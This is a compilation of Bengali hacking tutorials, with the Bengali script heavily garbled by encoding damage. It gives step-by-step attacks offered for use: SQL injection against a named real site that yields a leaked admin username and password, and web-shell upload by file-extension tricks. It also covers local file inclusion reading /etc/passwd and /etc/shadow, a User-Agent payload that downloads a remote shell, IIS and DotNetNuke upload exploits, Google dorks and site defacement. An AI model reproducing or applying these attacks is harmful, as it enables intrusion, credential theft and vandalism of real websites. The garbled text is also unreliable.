inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
